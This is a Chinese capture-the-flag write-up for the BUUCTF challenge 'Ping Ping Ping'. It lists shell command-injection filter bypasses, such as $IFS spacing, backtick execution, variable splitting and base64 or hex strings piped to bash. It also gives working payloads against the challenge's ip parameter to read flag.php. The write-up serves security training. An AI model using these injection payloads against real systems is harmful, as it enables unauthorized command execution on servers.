命令执行绕过 [GXYCTF2019]Ping Ping Ping1

news/2025/2/22 16:10:20/

参考原文:CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤_Tr0e的博客-CSDN博客文章目录前言CTF题目绕过姿势命令联合执行关键词的绕过内联执行绕过多种解法变量拼接内联执行Base64编码总结前言为了备战(划水)5 月份广东省的 “红帽杯” 网络安全竞赛,继续开始到 BUUCTF 平台练习 CTF 题目。在去年参加的第四届强网杯全国网络安全竞赛中,就遇到过命令执行漏洞绕过的题目 CTF解题-2020年强网杯参赛WriteUp(题目名称 “主动” ),当时采用了 base64 编码联合反引号、变量拼接两种方式绕过了 flag 关键字的过滤并读取了 flag 值:本文目的在于结合 BU_绕过空格过滤https://blog.csdn.net/weixin_39190897/article/details/116247765

这里讲三种绕过命令执行的姿势

1.反引号绕过或者内联执行绕过

使用内联执行可以将` `内的输出作为前面命令的输入

所以cat$IFS$1`ls`也相当于cat falg.php;cat index.php

2.变量赋值绕过

通过变量赋值,再进行拼接,即可进行绕过

如:$a=fl;$b=ag;cat $a$b.php

       payload1;a=ag.php;b=fl;cat$IFS$1$b$a

3.利用编码和符号绕过

Linux下,绕过空格有

${IFS}                        cat${IFS}flag.txt

$IFS$1                      cat$IFS$1flag.txt

$IFS                          cat$IFSflag.txt

<                               cat<flag.txt

<>                             cat<>flag.txt

{cat flag.php}

%20                          cat%20flag.txt

%09                          cat%09flag.txt

\  反斜杠                    ca\t fl\ag.txt

''   单引号                   cat fl''ag.txt

 `` 反引号                   cat$IFS$1`ls`

base64:

bash和sh是用来执行命令的,

echo YWJjZGU=|base64 -d //打印出来abcde

echo Y2F0IGZhbGcucGhw|base64 -d|bash          //cat flag.php

echo Y2F0IGZhbGcucGhw|base64 -d|sh              //cat flag.php

hex编码绕过:

echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.php

unicode编码

$(printf “\154\163”) //ls

$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php

题目来源:BUUCTF [GXYCTF2019]Ping Ping Ping

拿到题目

我们用  ?ip=127.0.0.1;ls

我们再用命令 ?ip=127.0.0.1;cat flag.php

发现空格space被过滤掉了,我们可以尝试绕过空格

发现用${IFS}$命令也不行,那我们尝试用其他方法

发现过滤了{}符号symbol,于是我们用$IFS$命令

发现过滤了flag字符

那我们就尝试访问index.php

 发现过滤了很多符号

如:

& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"

那我们采用变量赋值的方法绕过

payload:?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源码得到

其他方法:

内联执行绕过(将后面命令的输出作为前面命令的输入)

payload:?ip=127.0.0.1|cat$IFS$1`ls`

Base64编码绕过

payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

echo Y2F0IGZhbGcucGhw|base64 -d|sh

        
 

类似题目解题方法总结

cat fl*  用*匹配任意 
cat fla* 用*匹配任意
ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样cat fl[a]g.php       用[]匹配a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 

http://www.ppmy.cn/news/1155083.html

相关文章

【Golang】grpc环境踩的坑

关于’protoc-gen-go’ 不是内部或外部命令 这个问题的出现是因为没有这个文件导致的 这个文件要通过我们下载的google.golang.org这个文件编译生成的 这里建议下载google提供的grpc包 protobuf的源码&#xff1a; git clone https://github.com/golang/protobuf 下载好之后进…

常见的请求头,怎么用?

一、什么是请求头&#xff1f; 请求头&#xff08;Request Headers&#xff09;是在HTTP协议中用于传递关于请求的额外信息的部分。它包含了客户端&#xff08;通常是浏览器或应用程序&#xff09;与服务器之间进行通信所需的元数据。 请求头的作用有以下几个方面&#xff1a…

npm install报--4048错误和ERR_SOCKET_TIMEOUT问题解决方法之一

一、问题描述 学习vue数字大屏加载动漫效果时&#xff0c;在项目终端页面输入全局下载指令 npm install -g json-server 问题1、报--4048错误 会报如下错误 operation not permitted......errno: -4048code:EPERMsyscall: mkdir......The operation was reiected by your op…

qemu基础篇——VSCode 配置 GDB 调试

文章目录 VSCode 配置 GDB 调试安装 VSCode 插件调试文件创建调试配置配置脚本qemu 启动脚 启动调试报错情况一报错情况二报错情况三 调试界面运行 GDB 命令查看反汇编断点查看内核寄存器查看变量参考链接 VSCode 配置 GDB 调试 qemu-基础篇——arm 裸机调试环境搭建 上一节中…

Redis--List、Set、Zset、Hash、Bitmaps、HyperLogLog、Geospatial

List LPUSH key value1 [value2] 将一个或多个值插入到列表头部 127.0.0.1:6379> LPUSH myls1 1 (integer) 1 127.0.0.1:6379> LPUSH myls1 2 (integer) 2 127.0.0.1:6379> LRANGE myls1 0 -1 1) "2" 2) "1" LPOP key 移出并获取列表的第一个元素…

Zabbix监控系统与部署Zabbix5.0监控(系列操作完整版)

Zabbix监控系统与部署Zabbix5.0监控&#xff08;系列操作完整版&#xff09; 1、监控软件的作用2、Zabbix基本介绍2.1Zabbix是什么&#xff1f;2.2Zabbix监控原理2.3Zabbix的优点2.4Zabbix的缺点2.5Zabbix监控系统的监控对象 3、Zabbix的监控架构3.1server-client架构3.2server…

机器视觉在自动驾驶汽车中的应用与挑战

机器视觉在自动驾驶汽车中扮演着至关重要的角色&#xff0c;它使车辆能够感知和理解周围环境&#xff0c;以便自主驾驶。以下是机器视觉在自动驾驶汽车中的应用以及相关挑战&#xff1a; 应用&#xff1a; 障碍物检测与避让&#xff1a; 机器视觉系统可以检测和识别路上的障碍…

模型UV纹理设置工具

1、什么是模型UV纹理&#xff1f; 模型的UV纹理是将二维纹理图映射到三维模型表面的过程。UV纹理可以为模型赋予颜色、纹理、细节和其他效果&#xff0c;使其看起来更加逼真。 2、UV纹理的原理 下面是模型UV纹理的详细原理介绍&#xff1a; UV坐标系统&#xff1a;UV坐标系统…